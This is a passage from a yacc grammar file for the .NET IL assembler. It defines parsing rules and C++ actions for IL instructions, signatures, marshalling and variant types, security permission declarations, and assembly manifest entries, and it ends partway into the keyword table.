} | INSTR_I8 int64 { PASM->EmitInstrI8($1, $2); } | INSTR_R float64 { PASM->EmitInstrR($1, $2); delete ($2);} | INSTR_R int64 { double f = (double) (*$2); PASM->EmitInstrR($1, &f); } | instr_r_head bytes ')' { unsigned L = $2->length(); FAIL_UNLESS(L >= sizeof(float), ("%d hexbytes, must be at least %d\n", L,sizeof(float))); if(L < sizeof(float)) {YYERROR; } else { double f = (L >= sizeof(double)) ? *((double *)($2->ptr())) : (double)(*(float *)($2->ptr())); PASM->EmitInstrR($1,&f); } delete $2; } | INSTR_BRTARGET int32 { PASM->EmitInstrBrOffset($1, $2); } | INSTR_BRTARGET id { PASM->EmitInstrBrTarget($1, $2); } | INSTR_METHOD callConv type typeSpec DCOLON methodName '(' sigArgs0 ')' { if($1->opcode == CEE_NEWOBJ || $1->opcode == CEE_CALLVIRT) $2 = $2 | IMAGE_CEE_CS_CALLCONV_HASTHIS; mdToken mr = PASM->MakeMemberRef($4, $6, parser->MakeSig($2, $3, $8),PASM->OpcodeLen($1)); PASM->EmitInstrI($1,mr); PASM->m_tkCurrentCVOwner = mr; PASM->m_pCustomDescrList = NULL; } | INSTR_METHOD callConv type methodName '(' sigArgs0 ')' { if($1->opcode == CEE_NEWOBJ || $1->opcode == CEE_CALLVIRT) $2 = $2 | IMAGE_CEE_CS_CALLCONV_HASTHIS; mdToken mr = PASM->MakeMemberRef(NULL, $4, parser->MakeSig($2, $3, $6),PASM->OpcodeLen($1)); PASM->EmitInstrI($1,mr); PASM->m_tkCurrentCVOwner = mr; PASM->m_pCustomDescrList = NULL; } | INSTR_FIELD type typeSpec DCOLON id { $2->insertInt8(IMAGE_CEE_CS_CALLCONV_FIELD); mdToken mr = PASM->MakeMemberRef($3, $5, $2, PASM->OpcodeLen($1)); PASM->EmitInstrI($1,mr); PASM->m_tkCurrentCVOwner = mr; PASM->m_pCustomDescrList = NULL; } | INSTR_FIELD type id { $2->insertInt8(IMAGE_CEE_CS_CALLCONV_FIELD); mdToken mr = PASM->MakeMemberRef(NULL, $3, $2, PASM->OpcodeLen($1)); PASM->EmitInstrI($1,mr); PASM->m_tkCurrentCVOwner = mr; PASM->m_pCustomDescrList = NULL; } | INSTR_TYPE typeSpec { mdToken mr = PASM->MakeTypeRef($2); PASM->EmitInstrI($1, mr); PASM->m_tkCurrentCVOwner = mr; PASM->m_pCustomDescrList = NULL; } | INSTR_STRING compQstring { PASM->EmitInstrStringLiteral($1, $2,TRUE); } | INSTR_STRING bytearrayhead bytes ')' { PASM->EmitInstrStringLiteral($1, $3,FALSE); } | INSTR_SIG callConv type '(' sigArgs0 ')' { PASM->EmitInstrSig($1, parser->MakeSig($2, $3, $5)); } | INSTR_RVA id { PASM->EmitInstrRVA($1, $2, TRUE); PASM->report->warn("Deprecated instruction 'ldptr'\n"); } | INSTR_RVA int32 { PASM->EmitInstrRVA($1, (char *)$2, FALSE); PASM->report->warn("Deprecated instruction 'ldptr'\n"); } | instr_tok_head ownerType /* ownerType ::= memberRef | typeSpec */ { mdToken mr = $2; PASM->EmitInstrI($1,mr); PASM->m_tkCurrentCVOwner = mr; PASM->m_pCustomDescrList = NULL; iOpcodeLen = 0; } | INSTR_SWITCH '(' labels ')' { PASM->EmitInstrSwitch($1, $3); } | INSTR_PHI int16s { PASM->EmitInstrPhi($1, $2); } ; sigArgs0 : /* EMPTY */ { $$ = new BinStr(); } | sigArgs1 { $$ = $1;} ; sigArgs1 : sigArg { $$ = $1; } | sigArgs1 ',' sigArg { $$ = $1; $$->append($3); delete $3; } ; sigArg : ELIPSES { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_SENTINEL); } | paramAttr type { $$ = new BinStr(); $$->append($2); PASM->addArgName("", $2, NULL, $1); } | paramAttr type id { $$ = new BinStr(); $$->append($2); PASM->addArgName($3, $2, NULL, $1); } | paramAttr type MARSHAL_ '(' nativeType ')' { $$ = new BinStr(); $$->append($2); PASM->addArgName("", $2, $5, $1); } | paramAttr type MARSHAL_ '(' nativeType ')' id { $$ = new BinStr(); $$->append($2); PASM->addArgName($7, $2, $5, $1); } ; name1 : id { $$ = $1; } | DOTTEDNAME { $$ = $1; } | name1 '.' name1 { $$ = newStringWDel($1, newString("."), $3); } ; className : '[' name1 ']' slashedName { $$ = newStringWDel($2, newString("^"), $4); } | '[' _MODULE name1 ']' slashedName { $$ = newStringWDel($3, newString("~"), $5); } | slashedName { $$ = $1; } ; slashedName : name1 { $$ = $1; } | slashedName '/' name1 { $$ = newStringWDel($1, newString("/"), $3); } ; typeSpec : className { unsigned len = (unsigned int)strlen($1)+1; $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_NAME); memcpy($$->getBuff(len), $1, len); delete $1; } | '[' name1 ']' { unsigned len = (unsigned int)strlen($2); $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_NAME); memcpy($$->getBuff(len), $2, len); delete $2; $$->appendInt8('^'); $$->appendInt8(0); } | '[' _MODULE name1 ']' { unsigned len = (unsigned int)strlen($3); $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_NAME); memcpy($$->getBuff(len), $3, len); delete $3; $$->appendInt8('~'); $$->appendInt8(0); } | type { $$ = $1; } ; callConv : INSTANCE_ callConv { $$ = ($2 | IMAGE_CEE_CS_CALLCONV_HASTHIS); } | EXPLICIT_ callConv { $$ = ($2 | IMAGE_CEE_CS_CALLCONV_EXPLICITTHIS); } | callKind { $$ = $1; } ; callKind : /* EMPTY */ { $$ = IMAGE_CEE_CS_CALLCONV_DEFAULT; } | DEFAULT_ { $$ = IMAGE_CEE_CS_CALLCONV_DEFAULT; } | VARARG_ { $$ = IMAGE_CEE_CS_CALLCONV_VARARG; } | UNMANAGED_ CDECL_ { $$ = IMAGE_CEE_CS_CALLCONV_C; } | UNMANAGED_ STDCALL_ { $$ = IMAGE_CEE_CS_CALLCONV_STDCALL; } | UNMANAGED_ THISCALL_ { $$ = IMAGE_CEE_CS_CALLCONV_THISCALL; } | UNMANAGED_ FASTCALL_ { $$ = IMAGE_CEE_CS_CALLCONV_FASTCALL; } ; nativeType : /* EMPTY */ { $$ = new BinStr(); } | CUSTOM_ '(' compQstring ',' compQstring ',' compQstring ',' compQstring ')' { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_CUSTOMMARSHALER); corEmitInt($$,$3->length()); $$->append($3); corEmitInt($$,$5->length()); $$->append($5); corEmitInt($$,$7->length()); $$->append($7); corEmitInt($$,$9->length()); $$->append($9); PASM->report->warn("Deprecated 4-string form of custom marshaler, first two strings ignored\n");} | CUSTOM_ '(' compQstring ',' compQstring ')' { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_CUSTOMMARSHALER); corEmitInt($$,0); corEmitInt($$,0); corEmitInt($$,$3->length()); $$->append($3); corEmitInt($$,$5->length()); $$->append($5); } | FIXED_ SYSSTRING_ '[' int32 ']' { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_FIXEDSYSSTRING); corEmitInt($$,$4); } | FIXED_ ARRAY_ '[' int32 ']' { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_FIXEDARRAY); corEmitInt($$,$4); } | VARIANT_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_VARIANT); PASM->report->warn("Deprecated native type 'variant'\n"); } | CURRENCY_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_CURRENCY); } | SYSCHAR_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_SYSCHAR); PASM->report->warn("Deprecated native type 'syschar'\n"); } | VOID_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_VOID); PASM->report->warn("Deprecated native type 'void'\n"); } | BOOL_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_BOOLEAN); } | INT8_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_I1); } | INT16_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_I2); } | INT32_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_I4); } | INT64_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_I8); } | FLOAT32_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_R4); } | FLOAT64_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_R8); } | ERROR_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_ERROR); } | UNSIGNED_ INT8_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_U1); } | UNSIGNED_ INT16_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_U2); } | UNSIGNED_ INT32_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_U4); } | UNSIGNED_ INT64_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_U8); } | nativeType '*' { $$ = $1; $$->insertInt8(NATIVE_TYPE_PTR); PASM->report->warn("Deprecated native type '*'\n"); } | nativeType '[' ']' { $$ = $1; if($$->length()==0) $$->appendInt8(NATIVE_TYPE_MAX); $$->insertInt8(NATIVE_TYPE_ARRAY); } | nativeType '[' int32 ']' { $$ = $1; if($$->length()==0) $$->appendInt8(NATIVE_TYPE_MAX); $$->insertInt8(NATIVE_TYPE_ARRAY); corEmitInt($$,0); corEmitInt($$,$3); } | nativeType '[' int32 '+' int32 ']' { $$ = $1; if($$->length()==0) $$->appendInt8(NATIVE_TYPE_MAX); $$->insertInt8(NATIVE_TYPE_ARRAY); corEmitInt($$,$5); corEmitInt($$,$3); } | nativeType '[' '+' int32 ']' { $$ = $1; if($$->length()==0) $$->appendInt8(NATIVE_TYPE_MAX); $$->insertInt8(NATIVE_TYPE_ARRAY); corEmitInt($$,$4); } | DECIMAL_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_DECIMAL); PASM->report->warn("Deprecated native type 'decimal'\n"); } | DATE_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_DATE); PASM->report->warn("Deprecated native type 'date'\n"); } | BSTR_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_BSTR); } | LPSTR_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_LPSTR); } | LPWSTR_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_LPWSTR); } | LPTSTR_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_LPTSTR); } | OBJECTREF_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_OBJECTREF); PASM->report->warn("Deprecated native type 'objectref'\n"); } | IUNKNOWN_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_IUNKNOWN); } | IDISPATCH_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_IDISPATCH); } | STRUCT_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_STRUCT); } | INTERFACE_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_INTF); } | SAFEARRAY_ variantType { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_SAFEARRAY); corEmitInt($$,$2); corEmitInt($$,0);} | SAFEARRAY_ variantType ',' compQstring { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_SAFEARRAY); corEmitInt($$,$2); corEmitInt($$,$4->length()); $$->append($4); } | INT_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_INT); } | UNSIGNED_ INT_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_UINT); } | NESTED_ STRUCT_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_NESTEDSTRUCT); PASM->report->warn("Deprecated native type 'nested struct'\n"); } | BYVALSTR_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_BYVALSTR); } | ANSI_ BSTR_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_ANSIBSTR); } | TBSTR_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_TBSTR); } | VARIANT_ BOOL_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_VARIANTBOOL); } | methodSpec { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_FUNC); } | AS_ ANY_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_ASANY); } | LPSTRUCT_ { $$ = new BinStr(); $$->appendInt8(NATIVE_TYPE_LPSTRUCT); } ; variantType : /* EMPTY */ { $$ = VT_EMPTY; } | NULL_ { $$ = VT_NULL; } | VARIANT_ { $$ = VT_VARIANT; } | CURRENCY_ { $$ = VT_CY; } | VOID_ { $$ = VT_VOID; } | BOOL_ { $$ = VT_BOOL; } | INT8_ { $$ = VT_I1; } | INT16_ { $$ = VT_I2; } | INT32_ { $$ = VT_I4; } | INT64_ { $$ = VT_I8; } | FLOAT32_ { $$ = VT_R4; } | FLOAT64_ { $$ = VT_R8; } | UNSIGNED_ INT8_ { $$ = VT_UI1; } | UNSIGNED_ INT16_ { $$ = VT_UI2; } | UNSIGNED_ INT32_ { $$ = VT_UI4; } | UNSIGNED_ INT64_ { $$ = VT_UI8; } | '*' { $$ = VT_PTR; } | variantType '[' ']' { $$ = $1 | VT_ARRAY; } | variantType VECTOR_ { $$ = $1 | VT_VECTOR; } | variantType '&' { $$ = $1 | VT_BYREF; } | DECIMAL_ { $$ = VT_DECIMAL; } | DATE_ { $$ = VT_DATE; } | BSTR_ { $$ = VT_BSTR; } | LPSTR_ { $$ = VT_LPSTR; } | LPWSTR_ { $$ = VT_LPWSTR; } | IUNKNOWN_ { $$ = VT_UNKNOWN; } | IDISPATCH_ { $$ = VT_DISPATCH; } | SAFEARRAY_ { $$ = VT_SAFEARRAY; } | INT_ { $$ = VT_INT; } | UNSIGNED_ INT_ { $$ = VT_UINT; } | ERROR_ { $$ = VT_ERROR; } | HRESULT_ { $$ = VT_HRESULT; } | CARRAY_ { $$ = VT_CARRAY; } | USERDEFINED_ { $$ = VT_USERDEFINED; } | RECORD_ { $$ = VT_RECORD; } | FILETIME_ { $$ = VT_FILETIME; } | BLOB_ { $$ = VT_BLOB; } | STREAM_ { $$ = VT_STREAM; } | STORAGE_ { $$ = VT_STORAGE; } | STREAMED_OBJECT_ { $$ = VT_STREAMED_OBJECT; } | STORED_OBJECT_ { $$ = VT_STORED_OBJECT; } | BLOB_OBJECT_ { $$ = VT_BLOB_OBJECT; } | CF_ { $$ = VT_CF; } | CLSID_ { $$ = VT_CLSID; } ; type : CLASS_ className { if((strcmp($2,"System.String")==0) || (strcmp($2,"mscorlib^System.String")==0)) { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_STRING); } else if((strcmp($2,"System.Object")==0) || (strcmp($2,"mscorlib^System.Object")==0)) { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_OBJECT); } else $$ = parser->MakeTypeClass(ELEMENT_TYPE_CLASS, $2); } | OBJECT_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_OBJECT); } | STRING_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_STRING); } | VALUE_ CLASS_ className { $$ = parser->MakeTypeClass(ELEMENT_TYPE_VALUETYPE, $3); } | VALUETYPE_ className { $$ = parser->MakeTypeClass(ELEMENT_TYPE_VALUETYPE, $2); } | type '[' ']' { $$ = $1; $$->insertInt8(ELEMENT_TYPE_SZARRAY); } | type '[' bounds1 ']' { $$ = parser->MakeTypeArray($1, $3); } /* uncomment when and if this type is supported by the Runtime | type VALUE_ '[' int32 ']' { $$ = $1; $$->insertInt8(ELEMENT_TYPE_VALUEARRAY); corEmitInt($$, $4); } */ | type '&' { $$ = $1; $$->insertInt8(ELEMENT_TYPE_BYREF); } | type '*' { $$ = $1; $$->insertInt8(ELEMENT_TYPE_PTR); } | type PINNED_ { $$ = $1; $$->insertInt8(ELEMENT_TYPE_PINNED); } | type MODREQ_ '(' className ')' { $$ = parser->MakeTypeClass(ELEMENT_TYPE_CMOD_REQD, $4); $$->append($1); } | type MODOPT_ '(' className ')' { $$ = parser->MakeTypeClass(ELEMENT_TYPE_CMOD_OPT, $4); $$->append($1); } | '!' int32 { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_VAR); $$->appendInt8($2); PASM->report->warn("Deprecated type modifier '!'(ELEMENT_TYPE_VAR)\n"); } | methodSpec callConv type '*' '(' sigArgs0 ')' { $$ = parser->MakeSig($2, $3, $6); $$->insertInt8(ELEMENT_TYPE_FNPTR); delete PASM->m_firstArgName; PASM->m_firstArgName = palDummy; } | TYPEDREF_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_TYPEDBYREF); } | CHAR_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_CHAR); } | VOID_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_VOID); } | BOOL_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_BOOLEAN); } | INT8_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_I1); } | INT16_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_I2); } | INT32_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_I4); } | INT64_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_I8); } | FLOAT32_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_R4); } | FLOAT64_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_R8); } | UNSIGNED_ INT8_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_U1); } | UNSIGNED_ INT16_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_U2); } | UNSIGNED_ INT32_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_U4); } | UNSIGNED_ INT64_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_U8); } | NATIVE_ INT_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_I); } | NATIVE_ UNSIGNED_ INT_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_U); } | NATIVE_ FLOAT_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_R); } ; bounds1 : bound { $$ = $1; } | bounds1 ',' bound { $$ = $1; $1->append($3); delete $3; } ; bound : /* EMPTY */ { $$ = new BinStr(); $$->appendInt32(0x7FFFFFFF); $$->appendInt32(0x7FFFFFFF); } | ELIPSES { $$ = new BinStr(); $$->appendInt32(0x7FFFFFFF); $$->appendInt32(0x7FFFFFFF); } | int32 { $$ = new BinStr(); $$->appendInt32(0); $$->appendInt32($1); } | int32 ELIPSES int32 { FAIL_UNLESS($1 <= $3, ("lower bound %d must be <= upper bound %d\n", $1, $3)); if ($1 > $3) { YYERROR; }; $$ = new BinStr(); $$->appendInt32($1); $$->appendInt32($3-$1+1); } | int32 ELIPSES { $$ = new BinStr(); $$->appendInt32($1); $$->appendInt32(0x7FFFFFFF); } ; labels : /* empty */ { $$ = 0; } | id ',' labels { $$ = new Labels($1, $3, TRUE); } | int32 ',' labels { $$ = new Labels((char *)$1, $3, FALSE); } | id { $$ = new Labels($1, NULL, TRUE); } | int32 { $$ = new Labels((char *)$1, NULL, FALSE); } ; id : ID { $$ = $1; } | SQSTRING { $$ = $1; } ; int16s : /* EMPTY */ { $$ = new BinStr(); } | int16s int32 { FAIL_UNLESS(($2 == (__int16) $2), ("Value %d too big\n", $2)); $$ = $1; $$->appendInt8($2); $$->appendInt8($2 >> 8); } ; int32 : INT64 { $$ = (__int32)(*$1); delete $1; } ; int64 : INT64 { $$ = $1; } ; float64 : FLOAT64 { $$ = $1; } | FLOAT32_ '(' int32 ')' { float f; *((__int32*) (&f)) = $3; $$ = new double(f); } | FLOAT64_ '(' int64 ')' { $$ = (double*) $3; } ; secDecl : _PERMISSION secAction typeSpec '(' nameValPairs ')' { PASM->AddPermissionDecl($2, $3, $5); } | _PERMISSION secAction typeSpec { PASM->AddPermissionDecl($2, $3, NULL); } | psetHead bytes ')' { PASM->AddPermissionSetDecl($1, $2); } ; psetHead : _PERMISSIONSET secAction '=' '(' { $$ = $2; bParsingByteArray = TRUE; } ; nameValPairs : nameValPair { $$ = $1; } | nameValPair ',' nameValPairs { $$ = $1->Concat($3); } ; nameValPair : compQstring '=' caValue { $1->appendInt8(0); $$ = new NVPair($1, $3); } ; truefalse : TRUE_ { $$ = 1; } | FALSE_ { $$ = 0; } ; caValue : truefalse { $$ = new BinStr(); $$->appendInt8(SERIALIZATION_TYPE_BOOLEAN); $$->appendInt8($1); } | int32 { $$ = new BinStr(); $$->appendInt8(SERIALIZATION_TYPE_I4); $$->appendInt32($1); } | INT32_ '(' int32 ')' { $$ = new BinStr(); $$->appendInt8(SERIALIZATION_TYPE_I4); $$->appendInt32($3); } | compQstring { $$ = new BinStr(); $$->appendInt8(SERIALIZATION_TYPE_STRING); $$->append($1); delete $1; $$->appendInt8(0); } | className '(' INT8_ ':' int32 ')' { $$ = new BinStr(); $$->appendInt8(SERIALIZATION_TYPE_ENUM); strcpy((char *)$$->getBuff((unsigned)strlen($1) + 1), $1); $$->appendInt8(1); $$->appendInt32($5); } | className '(' INT16_ ':' int32 ')' { $$ = new BinStr(); $$->appendInt8(SERIALIZATION_TYPE_ENUM); strcpy((char *)$$->getBuff((unsigned)strlen($1) + 1), $1); $$->appendInt8(2); $$->appendInt32($5); } | className '(' INT32_ ':' int32 ')' { $$ = new BinStr(); $$->appendInt8(SERIALIZATION_TYPE_ENUM); strcpy((char *)$$->getBuff((unsigned)strlen($1) + 1), $1); $$->appendInt8(4); $$->appendInt32($5); } | className '(' int32 ')' { $$ = new BinStr(); $$->appendInt8(SERIALIZATION_TYPE_ENUM); strcpy((char *)$$->getBuff((unsigned)strlen($1) + 1), $1); $$->appendInt8(4); $$->appendInt32($3); } ; secAction : REQUEST_ { $$ = dclRequest; } | DEMAND_ { $$ = dclDemand; } | ASSERT_ { $$ = dclAssert; } | DENY_ { $$ = dclDeny; } | PERMITONLY_ { $$ = dclPermitOnly; } | LINKCHECK_ { $$ = dclLinktimeCheck; } | INHERITCHECK_ { $$ = dclInheritanceCheck; } | REQMIN_ { $$ = dclRequestMinimum; } | REQOPT_ { $$ = dclRequestOptional; } | REQREFUSE_ { $$ = dclRequestRefuse; } | PREJITGRANT_ { $$ = dclPrejitGrant; } | PREJITDENY_ { $$ = dclPrejitDenied; } | NONCASDEMAND_ { $$ = dclNonCasDemand; } | NONCASLINKDEMAND_ { $$ = dclNonCasLinkDemand; } | NONCASINHERITANCE_ { $$ = dclNonCasInheritance; } ; extSourceSpec : _LINE int32 SQSTRING { bExternSource = TRUE; nExtLine = $2; nExtCol=1; PASM->SetSourceFileName($3); delete $3;} | _LINE int32 { bExternSource = TRUE; nExtLine = $2; nExtCol=1;} | _LINE int32 ':' int32 SQSTRING { bExternSource = TRUE; nExtLine = $2; nExtCol=$4; PASM->SetSourceFileName($5); delete $5;} | _LINE int32 ':' int32 { bExternSource = TRUE; nExtLine = $2; nExtCol=$4;} | P_LINE int32 QSTRING { bExternSource = TRUE; nExtLine = $2; nExtCol=1; PASM->SetSourceFileName($3); delete $3; } ; fileDecl : _FILE fileAttr name1 fileEntry hashHead bytes ')' fileEntry { PASMM->AddFile($3, $2|$4|$8, $6); } | _FILE fileAttr name1 fileEntry { PASMM->AddFile($3, $2|$4, NULL); } ; fileAttr : /* EMPTY */ { $$ = (CorFileFlags) 0; } | fileAttr NOMETADATA_ { $$ = (CorFileFlags) ($1 | ffContainsNoMetaData); } ; fileEntry : /* EMPTY */ { $$ = (CorFileFlags) 0; } | _ENTRYPOINT { $$ = (CorFileFlags) 0x80000000; } ; hashHead : _HASH '=' '(' { bParsingByteArray = TRUE; } ; assemblyHead : _ASSEMBLY asmAttr name1 { PASMM->StartAssembly($3, NULL, (DWORD)$2, FALSE); } ; asmAttr : /* EMPTY */ { $$ = (CorAssemblyFlags) 0; } | asmAttr NOAPPDOMAIN_ { $$ = (CorAssemblyFlags) ($1 | afNonSideBySideAppDomain); } | asmAttr NOPROCESS_ { $$ = (CorAssemblyFlags) ($1 | afNonSideBySideProcess); } | asmAttr NOMACHINE_ { $$ = (CorAssemblyFlags) ($1 | afNonSideBySideMachine); } | asmAttr RETARGETABLE_ { $$ = (CorAssemblyFlags) ($1 | 0x0100); } ; assemblyDecls : /* EMPTY */ | assemblyDecls assemblyDecl ; assemblyDecl : _HASH ALGORITHM_ int32 { PASMM->SetAssemblyHashAlg($3); } | secDecl | asmOrRefDecl ; asmOrRefDecl : publicKeyHead bytes ')' { PASMM->SetAssemblyPublicKey($2); } | _VER int32 ':' int32 ':' int32 ':' int32 { PASMM->SetAssemblyVer((USHORT)$2, (USHORT)$4, (USHORT)$6, (USHORT)$8); } | _LOCALE compQstring { $2->appendInt8(0); PASMM->SetAssemblyLocale($2,TRUE); } | localeHead bytes ')' { PASMM->SetAssemblyLocale($2,FALSE); } | customAttrDecl ; publicKeyHead : _PUBLICKEY '=' '(' { bParsingByteArray = TRUE; } ; publicKeyTokenHead : _PUBLICKEYTOKEN '=' '(' { bParsingByteArray = TRUE; } ; localeHead : _LOCALE '=' '(' { bParsingByteArray = TRUE; } ; assemblyRefHead : _ASSEMBLY EXTERN_ asmAttr name1 { PASMM->StartAssembly($4, NULL, $3, TRUE); } | _ASSEMBLY EXTERN_ asmAttr name1 AS_ name1 { PASMM->StartAssembly($4, $6, $3, TRUE); } ; assemblyRefDecls : /* EMPTY */ | assemblyRefDecls assemblyRefDecl ; assemblyRefDecl : hashHead bytes ')' { PASMM->SetAssemblyHashBlob($2); } | asmOrRefDecl | publicKeyTokenHead bytes ')' { PASMM->SetAssemblyPublicKeyToken($2); } ; comtypeHead : _CLASS EXTERN_ comtAttr name1 { PASMM->StartComType($4, $3);} ; exportHead : _EXPORT comtAttr name1 { PASMM->StartComType($3, $2); } ; comtAttr : /* EMPTY */ { $$ = (CorTypeAttr) 0; } | comtAttr PRIVATE_ { $$ = (CorTypeAttr) ($1 | tdNotPublic); } | comtAttr PUBLIC_ { $$ = (CorTypeAttr) ($1 | tdPublic); } | comtAttr NESTED_ PUBLIC_ { $$ = (CorTypeAttr) ($1 | tdNestedPublic); } | comtAttr NESTED_ PRIVATE_ { $$ = (CorTypeAttr) ($1 | tdNestedPrivate); } | comtAttr NESTED_ FAMILY_ { $$ = (CorTypeAttr) ($1 | tdNestedFamily); } | comtAttr NESTED_ ASSEMBLY_ { $$ = (CorTypeAttr) ($1 | tdNestedAssembly); } | comtAttr NESTED_ FAMANDASSEM_ { $$ = (CorTypeAttr) ($1 | tdNestedFamANDAssem); } | comtAttr NESTED_ FAMORASSEM_ { $$ = (CorTypeAttr) ($1 | tdNestedFamORAssem); } ; comtypeDecls : /* EMPTY */ | comtypeDecls comtypeDecl ; comtypeDecl : _FILE name1 { PASMM->SetComTypeFile($2); } | _CLASS EXTERN_ name1 { PASMM->SetComTypeComType($3); } | _CLASS int32 { PASMM->SetComTypeClassTok($2); } | customAttrDecl ; manifestResHead : _MRESOURCE manresAttr name1 { PASMM->StartManifestRes($3, $2); } ; manresAttr : /* EMPTY */ { $$ = (CorManifestResourceFlags) 0; } | manresAttr PUBLIC_ { $$ = (CorManifestResourceFlags) ($1 | mrPublic); } | manresAttr PRIVATE_ { $$ = (CorManifestResourceFlags) ($1 | mrPrivate); } ; manifestResDecls : /* EMPTY */ | manifestResDecls manifestResDecl ; manifestResDecl : _FILE name1 AT_ int32 { PASMM->SetManifestResFile($2, (ULONG)$4); } | _ASSEMBLY EXTERN_ name1 { PASMM->SetManifestResAsmRef($3); } | customAttrDecl ; %% /********************************************************************************/ /* Code goes here */ /********************************************************************************/ void yyerror(char* str) { char tokBuff[64]; char *ptr; size_t len = parser->curPos - parser->curTok; if (len > 63) len = 63; memcpy(tokBuff, parser->curTok, len); tokBuff[len] = 0; fprintf(stderr, "%s(%d) : error : %s at token '%s' in: %s\n", parser->in->name(), parser->curLine, str, tokBuff, (ptr=parser->getLine(parser->curLine))); parser->success = false; delete ptr; } struct Keywords { const char* name; unsigned short token; unsigned short tokenVal;// this holds the instruction enumeration for those keywords that are instrs }; #define NO_VALUE -1 // The token has no value static Keywords keywords[] = { // Attention! Because of aliases, the instructions MUST go first! // Redefine all the instructions (defined in assembler.h <- asmenum.h <- opcode.def) #undef InlineNone #undef InlineVar #undef ShortInlineVar #undef InlineI #undef ShortInlineI #undef InlineI8 #undef InlineR #undef ShortInlineR #undef InlineBrTarget #undef ShortInlineBrTarget #undef InlineMethod #undef InlineField #undef InlineType #undef InlineString #undef InlineSig #undef InlineRVA #undef InlineTok #undef InlineSwitch #undef InlinePhi #undef InlineVarTok #define InlineNone INSTR_NONE #define InlineVar INSTR_VAR #define ShortInlineVar INSTR_VAR #define InlineI INSTR_I #define ShortInlineI INSTR_I #define InlineI8 INSTR_I8 #define InlineR INSTR_R #define ShortInlineR INSTR_R #define InlineBrTarget INSTR_BRTARGET #define ShortInlineBrTarget INSTR_BRTARGET #define InlineMethod INSTR_METHOD #define InlineField INSTR_FIELD #define InlineType INSTR_TYPE #define InlineString INSTR_STRING #define InlineSig INSTR_SIG #define InlineRVA INSTR_RVA #define InlineTok INSTR_TOK #define InlineSwitch INSTR_SWITCH #define InlinePhi INSTR_PHI // @TODO remove when this instruction goes away #define InlineVarTok 0 #define NEW_INLINE_NAMES // The volatile instruction collides with the volatile keyword, so // we treat it as a keyword everywhere and modify the grammar accordingly (Yuck!) #define OPDEF(c,s,pop,push,args,type,l,s1,s2,ctrl) { s, args, c }, #define OPALIAS(alias_c, s, c) { s, keywords[c].token, c }, #include "opcode.def" #undef OPALIAS #undef OPDEF /* keywords */ #define KYWD(name, sym, val) { name, sym, val}, #include "il_kywd.h" #undef KYWD // These are deprecated { "float", FLOAT_ }, }; /********************************************************************************/ /* used by qsort to sort the keyword table 